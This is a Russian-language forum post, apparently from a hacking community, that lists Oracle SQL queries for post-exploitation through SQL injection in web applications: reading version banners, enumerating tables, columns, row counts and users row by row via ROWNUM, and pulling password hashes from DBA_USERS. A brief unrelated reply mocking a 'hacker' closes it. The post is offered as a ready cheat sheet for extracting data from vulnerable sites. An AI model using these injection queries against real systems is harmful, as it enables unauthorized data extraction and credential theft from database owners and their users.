SQL Injections веб-приложений, основанных на сервере баз данных Oracle неплохо освещены в соответствующих FAQ. Они имеют свои тонкости, отличные от инъекций в других базах данных. Но просматривая FAQ я не увидел подробной информации о том, что же можно поиметь с инъекций... Чтож, давайте развеем пелену таинственности над Oracle. Итак запросы: -- Получение данных о версии Oracle (будет несколько строк, обычно 5) SELECT * FROM V$VERSION; -- Получение данных о версии Oracle по строкам с перебором по ROWNUM SELECT T.B FROM (SELECT ROWNUM R, BANNER B FROM V$VERSION) T WHERE R=X -- Получение имён всех таблиц в БД SELECT TABLE_NAME FROM SYS.ALL_TABLES; -- Перебор имён таблиц по заданному NUMROW (возвращается одна строчка) SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R=X -- Перебор имён таблиц по заданному NUMROW из диапазона (возвращается несколько строк) SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R BETWEEN X AND X -- Перебор имён таблиц по заданному NUMROW c увеличением позиции (возвращается несколько строк) SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R>=X -- Получение количества записей в заданной таблице через NUMROW SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR FROM SYS.ALL_TABLES) T WHERE R=X -- Получение количества записей в заднной таблице через имя таблицы SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE TN='...'; -- Перебор имён таблиц по заданному NUMROW в таблицах текущего пользователя (возвращается одна строчка) SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.USER_TABLES) T WHERE R=X -- Получение имён всех колонок в заданной таблице SELECT COLUMN_NAME FROM USER_TAB_COLUMNS WHERE TABLE_NAME='...'; -- Перебор имён колонок в заданной таблице по ROWNUM SELECT T.CN FROM (SELECT ROWNUM R, COLUMN_NAME CN FROM USER_TAB_COLUMNS WHERE TABLE_NAME='...') T WHERE R=X -- Получение информации о типе заданной колонки в заданной таблице SELECT DATA_TYPE FROM USER_TAB_COLUMNS WHERE TABLE_NAME='...' AND COLUMN_NAME='...'; -- Получение имён пользователей в базе данных SELECT USERNAME FROM USERS; -- Альтернативный метод получения объектов (таблицы, последвательности и синонимы) для заданного пользователя SELECT TABLE_NAME FROM ALL_CATALOG WHERE OWNER='...'; -- Получение имён всех объектов заданного пользователя (индексы, таблицы, ограничения и т.д.) SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER='...' -- Получение хеша пароля (SHA1) заданного пользователя, но для этого нужны привелегии DBA -- При нормальной настройке 99.99% что их не будет SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='...' Разумеется, это сырые запросы и вам всё равно перед их использованием придётся подбирать количество столбцов, определять куда какое поле выводится, и какой тип значения можно засунуть в выводимое поле. Но об этом читаем FAQ.
я рыдал)) Для особо одаренных написано - Unclassified. Ну выучите вы английский язык =\ хеккер с секретными документами на сайте))